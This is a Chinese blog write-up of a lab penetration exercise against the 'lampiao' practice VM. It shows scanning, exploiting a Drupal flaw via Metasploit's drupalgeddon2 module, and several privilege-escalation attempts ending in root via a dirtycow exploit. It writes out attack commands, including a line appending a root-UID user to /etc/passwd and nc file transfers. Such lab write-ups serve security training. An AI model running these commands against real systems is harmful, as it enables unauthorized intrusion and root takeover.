当前位置: 首页 > news >正文

实战打靶集锦-016-lampiao

提示:本文记录了博主打靶过程中一次曲折的提权经历

文章

  • 1. 主机发现
  • 2. 端口扫描
  • 3. 服务枚举
  • 4. 服务探查
    • 4.1 80端口探查
    • 4.2 1898端口探查
    • 4.3 EXP搜索
      • 4.3.1 exploit/unix/webapp/drupal_coder_exec
      • 4.3.2 exploit/unix/webapp/drupal_drupalgeddon2
  • 5. 提权
    • 5.1 系统信息枚举
    • 5.2 探查/etc/passwd
    • 5.3 枚举定时任务
    • 5.4 枚举可执行程序
      • 5.4.1 ping6
      • 5.4.2 chfn
    • 5.4.3 pkexec
      • 5.4.4 mtr
      • 5.4.5 pppd
    • 5.5 EXP提权
    • 5.5.1 CVE-2017-16995
    • 5.5.2 CVE-2017-1000112
    • 5.5.3 CVE-2016-8655
      • 5.5.4 CVE-2016-5195 dirtycow
      • 5.5.5 CVE-2016-5195 dirtycow2
  • 6. 获取flag


1. 主机发现

目前只知道目标靶机在65.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.65.0/24

在这里插入图片描述
锁定靶机地址为192.168.65.148。

2. 端口扫描

通过下面的命令对目标靶机进行全端口扫描。

$ sudo nmap -p- 192.168.65.148

在这里插入图片描述

3. 服务枚举

通过下面的命令枚举一下目标靶机的开放端口上运行着什么服务。

$ sudo nmap -p22,80,1898 -A -sV -sT 192.168.65.148

在这里插入图片描述
额,80端口上的服务没有没举出来,估计得等会儿手工探查了。

4. 服务探查

4.1 80端口探查

直接用浏览器访问一下看看。
在这里插入图片描述
额,靶机挺会玩儿的,目录枚举一下看看。

$ dirsearch -u http://192.168.65.148

在这里插入图片描述
结果有点令人失望,啥都没扫出来。

4.2 1898端口探查

既然1898端口上也是http的服务,通过浏览器访问一下看看。
在这里插入图片描述
页面中有登录入口、创建账号和密码的入口,看来这里面可能有我们需要的内容,先看一下有没有站点地图。
在这里插入图片描述
内容还挺多的,再进行一下目录枚举。

$ dirsearch -u http://192.168.65.148:1898

在这里插入图片描述
都枚举出来了,我们逐个看看。
从“/MAINTAINERS.txt”页面,我们可以知道这里用的是一个名叫Drupal 7的框架。
在这里插入图片描述
上网搜索一下看看,这个drupal是个啥。
在这里插入图片描述
上图是百度百科的内容,貌似是一个开源的优秀的内容管理框架,继续往下看。从“INSTALL.txt”页面可以看到,Drupal框架会用到Apache 2.0或者以上、PHP 5.2.4或者以上,以及数据库(Mysql 5.0.15及以上、MariaDB 5.1.44及以上,Percona 5.1.70及以上、pgSQL 8.3及以上,SQLite 3.3.7及以上),如下图。
在这里插入图片描述
继续探查,从“CHANGELOG.txt”页面,可以推断当前的Drupal版本应该是7.54。
在这里插入图片描述
继续往下看,scripts目录下,有好多的shell脚本,说不定后面我们可以用得到,尤其是一个对密码进行hash的脚本。
在这里插入图片描述
目前就搜罗到了这么多信息,接下来我们尝试一下登录入口和创建账号密码的入口。
随便输入用户名密码进行登录,看看报什么错。
在这里插入图片描述
用户枚举猜测是不太好办,看看下面的创建账号。
在这里插入图片描述
点击上图中的Create new account按钮之后,会弹出下图所示的提示。
在这里插入图片描述
不管了,发送邮件不成功是正常的,看看下面的request new password能不能有用。
在这里插入图片描述
嗯,这个也是不管用的。

4.3 EXP搜索

搜索一下看看有没有关于Drupal的公共EXP。
在这里插入图片描述
内容还真是不少,并且还有很多都是关于Metasploit的,鉴于Metasploit的神奇之处,我们先用Metasploit搜索一下看看。

msf6 > search drupal

在这里插入图片描述
也不是很多,逐个试试吧。

4.3.1 exploit/unix/webapp/drupal_coder_exec

msf6 > use exploit/unix/webapp/drupal_coder_exec
msf6 exploit(unix/webapp/drupal_coder_exec) > set RHOSTS 192.168.65.148
msf6 exploit(unix/webapp/drupal_coder_exec) > set RPORT 1898
msf6 exploit(unix/webapp/drupal_coder_exec) > run

在这里插入图片描述
运行失败了。

4.3.2 exploit/unix/webapp/drupal_drupalgeddon2

msf6> use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.65.148
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RPORT 1898
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

在这里插入图片描述
感觉这个是靠谱的,进一步验证一下。
在这里插入图片描述
嗯,我们已经成功突破边界。

5. 提权

先优化一下shell(形成习惯了,不管行不行,先执行一下优化再说)。

$ whereis python
$ /usr/bin/python3.4 -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

5.1 系统信息枚举

$ uname -a
$ cat /etc/*-release
$ getconf LONG_BIT

在这里插入图片描述
目标靶机是32位的Ubuntu 14.04.5,kernel版本是4.4.0-32-generic。

5.2 探查/etc/passwd

$ cat /etc/passwd | grep -v "nologin"

在这里插入图片描述
除了root之外,真正具备shell权限的还有个tiago用户。尝试一下弱密码提权。
在这里插入图片描述
尝试往/etc/passwd中写入用户看看。

$ echo "testuser:$1$IbaVSVwa$v6h3hVYDvjI.y0q2Kq0fg.:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
没权限。

5.3 枚举定时任务

$ cat /etc/crontab

在这里插入图片描述

5.4 枚举可执行程序

先枚举一下root用户下面其它用户客户可写的文件。

$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v "/sys/" | grep -v "/proc/"

在这里插入图片描述
就搜出来了一个隐藏文件.lock,看看这是个啥文件。
在这里插入图片描述
竟然是空的,没有理想的结果,再看看具备SUID的可执行文件(下面命令三选一)。

$ find / -user root -perm -4000 -print 2>/dev/null
$ find / -perm -u=s -type f 2>/dev/null
$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

在这里插入图片描述
上图中的几个程序都值得怀疑,试试看吧。

5.4.1 ping6

从搜索结果来看,ping6不太可能提权。
在这里插入图片描述

5.4.2 chfn

在这里插入图片描述
这个倒是有一定的可能性,我们看一下代码。
在这里插入图片描述
貌似只在SuSE上可行,不管了,既然都到这里了,上传到目标靶机上执行一下看看。
在这里插入图片描述
嗯,这个靶机做了特殊限制,没法直接通过wget下载,我们通过nc传输一下。
靶机上启动6666端口监听,将收到的内容放到1299.sh文件。

www-data@lampiao:/tmp$ nc -nlvp 6666 > 1299.sh

kali上通过kali往靶机的6666端口发送1299.sh文件

$ nc -nv 192.168.65.148 6666 < 1299.sh

然后在靶机上修改一下执行权限,并运行一下。
在这里插入图片描述
理论上,这个脚本应该是可以提权的,可惜的是在这里没法使用,因为需要当前用户的密码,等我们拿到当前用户密码的时候,再回来试试看。

5.4.3 pkexec

这个pkexec是我们的老朋友了,先看一下靶机上的polkit版本。

www-data@lampiao:/tmp$ dpkg -l policykit-1

在这里插入图片描述
在通过searchsploit搜索一下看看。
在这里插入图片描述

后面两个EXP是有可能的,一个得通过Metasploit,另一个是一个静态条件的提权,我们先进入msfconsle搜索一下看看。
在这里插入图片描述
就这三个,都试一下吧。

msf6 > use exploit/linux/local/pkexec
msf6 exploit(linux/local/pkexec) > set LPORT 8888
msf6 exploit(linux/local/pkexec) > run

在这里插入图片描述
是要配置SESSION的,但是Metasploit里面也没有说清楚应该怎么配置,其它两个也都需要配置SESSION,暂时放弃。通过下面的命令将我们前面searchsploit结果中的47543.rb放到指定的metasploit目录下。

$ sudo cp 47543.rb /usr/share/metasploit-framework/modules/exploits/unix/webapp

重新进入一下msfconsole。

msf6 > use exploit/unix/webapp47543
msf6 exploit(unix/webapp/47543) > show options

在这里插入图片描述
同样需要设置SESSION啊,放弃。

5.4.4 mtr

在这里插入图片描述
没有我们感兴趣的。

5.4.5 pppd

在这里插入图片描述
这个也不合适。

5.5 EXP提权

搜索一下Ubuntu和Kernel的对应EXP。
在这里插入图片描述
在这里插入图片描述
还是有不少的,为了保证准确度,我们不急于利用,先用linpeas看一下。
在这里插入图片描述
linpeas也找到了这个CVE-2022-2588的漏洞,前面刚刚用过,这里直接试一下。
在这里插入图片描述嗯,这个是不能直接运行的,直接尝试在本地编译一下。

www-data@lampiao:/tmp/CVE-2022-2588$ gcc -o my_exp exp_file_credential.c

在这里插入图片描述
仍然失败,还是再看看其它的linpeas输出吧。
在这里插入图片描述
有五个高度可行的CVE漏洞,我们逐个试一下。

5.5.1 CVE-2017-16995

直接将45010.c上传到靶机进行编译执行。
在这里插入图片描述
在靶机上无论如何编译这个文件bpf.h都饱含不进去,放弃。

5.5.2 CVE-2017-1000112

直接吧https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c下载下来,上传到靶机进行编译。
在这里插入图片描述
会报大量的错误,放弃。

5.5.3 CVE-2016-8655

直接把40871.c上传到目标靶机,然后编译。

$ gcc -m32 40871.c -o 40871 -lpthread

在这里插入图片描述
产生了非常多的上述的warning,但是编译出可执行文件了,执行一下试试看。
在这里插入图片描述
执行了好久也没有成功,都是些类似上述的输出,暂时放弃。

5.5.4 CVE-2016-5195 dirtycow

在这里插入图片描述
这个感觉还要sudo -s,输入当前用户的密码,有些搞不定,暂时放弃。

5.5.5 CVE-2016-5195 dirtycow2

直接吧40839.c上传到靶机,进行编译。

$ gcc -pthread 40839.c -o 40839 -lcrypt

在这里插入图片描述
破天荒的没报错,直接运行一下看看。
在这里插入图片描述
按照exp代码指示,进行下一步,输入su firefart试试。
在这里插入图片描述
感觉像是挂了啊,再次尝试进去。
在这里插入图片描述
估计是机器挂了,ping一下试试看。
在这里插入图片描述
果真挂了,重启一下靶机,再次提权。
在这里插入图片描述
又挂了,必然挂掉,靶机上的最后输出如下图所示。
在这里插入图片描述
对于这个dirtycow2,还有个编号是40847的EXP,我们也用一下试试看,先通过nc吧40847.cpp上传到目标靶机的/tmp目录下。然后通过gcc进行编译。

www-data@lampiao:/tmp$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

在这里插入图片描述
编译成功。
说明:这里了说明一下各个参数的含义。
-Wall选项让gcc提供所有有用的告警;
-pedantic选项允许发出标准C列出的所有告警;
-O2选项是编译器优化选项的4个级别中的一个(-O0表示无优化,-O1为缺省值,-O3优化级别最高);
-std=c++11选项表示按照2011版C++的标准执行编译;
-pthread选项表示当用到多线程时调用pthread库。

然后运行一下编译的可执行文件。
在这里插入图片描述
直接搞出了root的密码,太牛逼了,试一下切换到root用户。
在这里插入图片描述
貌似搞定了,验证一下。
在这里插入图片描述

6. 获取flag

在这里插入图片描述
搞定。

相关文章:

实战打靶集锦-016-lampiao

提示&#xff1a;本文记录了博主打靶过程中一次曲折的提权经历 文章1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 80端口探查4.2 1898端口探查4.3 EXP搜索4.3.1 exploit/unix/webapp/drupal_coder_exec4.3.2 exploit/unix/webapp/drupal_drupalgeddon25. 提权5.1 系统信息…...

《Web前端应用开发》考试试卷(模拟题)

一、产品搜索页面 打开“考试文件夹”中的input.html&#xff0c;完成以下步骤&#xff1a; 注意&#xff1a;本题仅能在input.html的&#xff08;1&#xff09;为产品名称所在的div添加样式属性&#xff0c;使得产品名称保持在文本框的左边&#xff1b; &#xff08;2&#xf…...

【react全家桶学习】react简介

react是什么&#xff1f; react是用于构建用户界面的JS库&#xff0c;是一个将数据渲染为HTML视图的开源JS库 谁开发的&#xff1f; 由Facebook开发&#xff0c;且开源 为什么要学&#xff1f; 原生JavaScript操作DOM繁琐、效率低 ( DOM-API操作 UI)使用JavaScript直接操作…...

此战成硕,我成功上岸西南交通大学了~~~

友友们&#xff0c;好久不见&#xff0c;很长时间没有更一个正式点的文章了&#xff01; 是因为我在去年年底忙着准备初试&#xff0c;今年年初在准备复试&#xff0c;直到3月底拟录取后&#xff0c;终于可以写下这篇上岸贴&#xff0c;和大家分享一下考研至上岸的一个过程 文章…...

光耦继电器工作原理及优点概述

光耦继电器是一种电子元器件&#xff0c;也是固态继电器的一种&#xff0c;其主要作用是隔离输入与输出电路&#xff0c;用于保护或者控制电路的正常工作。 光耦继电器工作原理是利用光电转换器将外界信号转化为光信号&#xff0c;通过光纤传输到另一端&#xff0c;再由另一端的…...

【Mysql】mysql8.0.26解压包部署方式

版本背景&#xff1a; 操作系统&#xff1a;centos7.3 mysql版本&#xff1a;mysql-8.0.26-linux-glibc2.12-x86_64.tar 一、前期准备 1、检测操作系统自带安装的mysql和mariadb服务&#xff0c;如存在&#xff0c;需卸载 rpm -qa | grep mysql rpm -qa | grep mariadb 卸载…...

进销存管理系统能为企业带来哪些实际效益?

随着互联网的不断发展&#xff0c;如今的商业世界已经越来越向数字化转型。拥有一套完整的数字化的进销存管理能够极大地提升公司货物进出库存情况的效率和准确性&#xff0c;避免过程中出现不必要的错误和漏洞&#xff0c;从而帮助企业更加稳健地自我发展。那么&#xff0c;一…...

图片怎么转换成pdf格式?这几个方法帮你一键转换

现今电子书籍越来越受到欢迎&#xff0c;其中PDF格式也成为了一种常用的电子书籍格式。无论是工作还是学习&#xff0c;我们都可能会遇到需要将图片转换成PDF格式的情况&#xff0c;例如保存一些资料证明、公文公告、学习资料等。在这篇文章中&#xff0c;我们将为大家介绍三种…...

数据结构exp1_2学生成绩排序

目录 数据结构exp1_2学生成绩排序 程序设计 程序分析 数据结构exp1_2学生成绩排序 【问题描述】 对某班学生成绩排序。从键盘依次输入某班学生的姓名和成绩(一个班级人数最多不超过50人)并保存,然后分别按学生成绩由高到低顺序输出学生姓名和成绩,成绩相同时,则按输…...

在DongshanPI-D1开箱使用分享与折腾记录实现MPU6050数据读取

前言 上一篇文章使用RT-Smart的IIC驱动OLED屏幕&#xff0c;进行基本的字符串显示,在使用过程中对RT-Smart有了一定熟悉&#xff0c;准备使用SPI驱动ST7789&#xff0c;但SPI接口没有引出&#xff0c;本次使用手上已有的传感器MPU6050进行使用。 过程 本次直接开始添加离线包…...

Nature子刊 定制饮食去除半胱氨酸和蛋氨酸可诱导细胞自毁进而治疗脑瘤?

恶性胶质瘤是成人最常见的脑部肿瘤。恶性胶质瘤的致死率为100%&#xff0c;无法治愈&#xff0c;是一种极度的恶性肿瘤。如此糟糕的预后促使研究者及神经外科医生不断学习研究肿瘤生物学&#xff0c;期望创造更好的疗法。神经外科助理教授Dominique Higgins博士从事肿瘤生物学的…...

抛弃 TCP 和 QUIC 的 HTTP

下班路上发了一则朋友圈&#xff1a; 周四听了斯坦福老教授 John Ousterhout 关于 Homa 的分享&#xff0c;基本重复了此前那篇 It’s Time To Rep… 的格调&#xff0c;花了一多半时间喷 TCP… Ousterhout 关于 Homa 和 TCP 之间的论争和论证&#xff0c;诸多反复回执&…...

未来公寓智能化设计平台项目(下)

创业场景通过在社区入口附近建设共享办公室,带动海慧园和众汽佳苑创业氛围,也让社区出了居住以外有其它功能,并且结合教育、邻里模块让社区更有活力。住户可通过app查看共享空间的使用情况,以及可以远程控制各种设备。 顺应未来生活与就业、创业融合新趋势,构建“大众创新…...

常见分布式消息队列综合对比

本文将从&#xff0c;Kafka、RabbitMQ、ZeroMQ、RocketMQ、ActiveMQ 17 个方面综合对比作为消息队列使用时的差异。 1. 资料文档 Kafka&#xff1a;中&#xff0c;有 kafka 作者自己写的书&#xff0c;网上资料也有一些。 rabbitmq&#xff1a;多&#xff0c;有一些不错的书…...

怎么邀请主流媒体到现场报道

传媒如春雨&#xff0c;润物细无声&#xff0c;大家好 主流媒体通常是指央媒&#xff0c;报纸杂志&#xff0c;电视台&#xff0c;地方重点媒体等&#xff0c;采访形式包括现场取材报道&#xff0c;媒体专访&#xff0c;群访等。通常主流媒体对选题要求较严格&#xff0c;因此在…...

2023年最强手机远程控制横测:ToDesk、向日葵、Airdroid三款APP免Root版本

前言 随着远程办公和远程协作的日益普及&#xff0c;跨设备、系统互通的远程控制软件已经成为职场人士不可或缺的工具之一。在国内&#xff0c;向日葵和ToDesk是最著名的远程控制软件&#xff1b;而在国外&#xff0c;则有微软远程桌面、AirDroid、TeamViewer、AnyDesk、Parse…...

用SQL语句操作oracle数据库--数据查询(上篇)

SQL操作Oracle数据库进行数据查询 Oracle 数据库是业界领先的关系型数据库管理系统之一&#xff0c;广泛应用于企业级应用和数据仓库等场景中。本篇博客将介绍如何使用 SQL 语句对 Oracle 数据库进行数据查询操作。 1.连接到数据库 在开始查询之前&#xff0c;需要使用合适的…...

模板学堂|DataEase图表样式解析

DataEase开源数据可视化分析平台于2022年6月正式发布模板市场&#xff08;https://dataease.io/templates/&#xff09;。模板市场旨在为DataEase用户提供专业、美观、拿来即用的仪表板模板&#xff0c;方便用户根据自身的业务需求和使用场景选择对应的仪表板模板&#xff0c;并…...

STM32看门狗

目录 独立看门狗 IWDG 什么是看门狗&#xff1f; 独立看门狗本质 独立看门狗框图 独立看门狗时钟 分频系数算法&#xff1a; ​编辑 重装载寄存器 键寄存器 溢出时间计算公式 独立看门狗实验 需求&#xff1a; 硬件接线&#xff1a; 溢出时间计算&#xff1…...

什么是划分子网?网络工程师划分子网有啥技巧?

随着互联网的快速发展&#xff0c;越来越多的组织和企业在其内部建立了复杂的网络系统来满足日常的信息传输和资源共享需求。而在这些网络系统中&#xff0c;划分子网&#xff08;也称为子网划分&#xff09;作为一种常见的网络管理方法&#xff0c;为组织和企业提供了更加灵活…...

制作两栏布局的 6+5 种方法:从相当合理到完全错误

一个挑战 假设您需要创建一个两列布局。是的&#xff0c;最简单的那种&#xff1a;左边一列&#xff0c;右边一列&#xff0c;中间有一些空隙。有一个明显的现代解决方案&#xff1a; .columns {display: grid;grid-template-columns: 1fr 1fr;gap: 20px; }完毕&#xff01;当…...

nvidia-smi 各种命令

各种命令网站 点 主频 显卡就像一家工厂&#xff0c;工厂的工人是GPU。而主频就相当于工人的工作效率&#xff0c;主频越高&#xff0c;意味着工人的工作效率越高&#xff0c;能在单位时间内完成更多的任务。但同时&#xff0c;工作效率越高&#xff0c;工人们就越容易疲劳&…...

实验6 TensorFlow基础

1. 实验目的 掌握TensorFlow低阶API&#xff0c;能够运用TensorFlow处理数据以及对数据进行运算。 2.实验内容 ①实现张量维度变换&#xff0c;部分采样等&#xff1b; ②实现张量加减乘除、幂指对数运算&#xff1b; ③利用TensorFlow对数据集进行处理。 3.实验过程 题目…...

Python爬虫基础之如何对爬取到的数据进行解析

目录1. 前言2. Xpath2.1 插件/库安装2.2 基础使用2.3 Xpath表达式2.4 案例演示2.4.1 某度网站案例3. JsonPath3.1 库安装3.2 基础使用3.2 JsonPath表达式3.3 案例演示4. BeautifulSoup4.1 库安装4.2 基础使用4.3 常见方法4.4 案例演示参考文献原文地址&#xff1a;https://www.…...

【Python游戏】坦克大战、推箱子小游戏怎么玩?学会这些让你秒变高高手—那些童年的游戏还记得吗?(附Pygame合集源码)

前言 下一个青年节快到了&#xff0c;想小编我也是过不了几年节日了呢&#xff01;&#xff01; 社交媒体上流传着一张照片——按照国家规定“14岁到28岁今天都应该放半天假&#xff01;”不得不说&#xff0c; 这个跨度着实有点儿大&#xff0c;如果按整自然年来算年龄&…...

python3 DataFrame一些好玩且高效的操作

pandas在处理Excel/DBs中读取出来&#xff0c;处理为DataFrame格式的数据时&#xff0c;处理方式和性能上有很大差异&#xff0c;下面是一些高效&#xff0c;方便处理数据的方法。 map/apply/applymaptransformagg遍历求和/求平均shift/diff透视表切片&#xff0c;索引&#x…...

如何从 PowerPoint 导出高分辨率(高 dpi)幻灯片

如何从 PowerPoint 导出高分辨率&#xff08;高 dpi&#xff09;幻灯片更改导出分辨率设置将幻灯片导出为图片限制你可以通过将幻灯片保存为图片格式来更改 Microsoft PowerPoint 的导出分辨率。 此过程有两个步骤&#xff1a;使用系统注册表更改导出的幻灯片的默认分辨率设置&…...

JAVA数据结构之冒泡排序,数组元素反转,二分查找算法的联合使用------JAVA入门基础教程

//二分查找与冒泡排序与数组元素反转的连用 int[] arr2 new int[]{2,4,5,8,12,15,19,26,29,37,49,51,66,89,100}; int[] po new int[arr2.length]; //复制一个刚好倒叙的数组po for (int i arr2.length - 1; i > 0; i--) {po[arr2.length - 1 - i] arr2[i]; }//arr2 po…...

linux对动态库的搜索知识梳理

一.动态库优先搜索路径顺序 之前的文章我有整理过&#xff0c;这里再列出来一次 1. 编译目标代码时指定的动态库搜索路径&#xff1b; 2. 环境变量LD_LIBRARY_PATH指定的动态库搜索路径&#xff1b; 3. 配置文件/etc/ld.so.conf中指定的动态库搜索路径&#xff1b; 4. 默认…...

R -- 用psych包做因子分析

因子分析 因子分析又称为EFA&#xff0c;是一系列用来发现一组变量的潜在结构的办法。它通过寻找一组更小的&#xff0c;潜在的结构来解释已观测到的显式的变量间的关系。这些虚拟的、无法观测的变量称为因子&#xff08;每个因子被认为可以解释多个观测变量间共有的方差&…...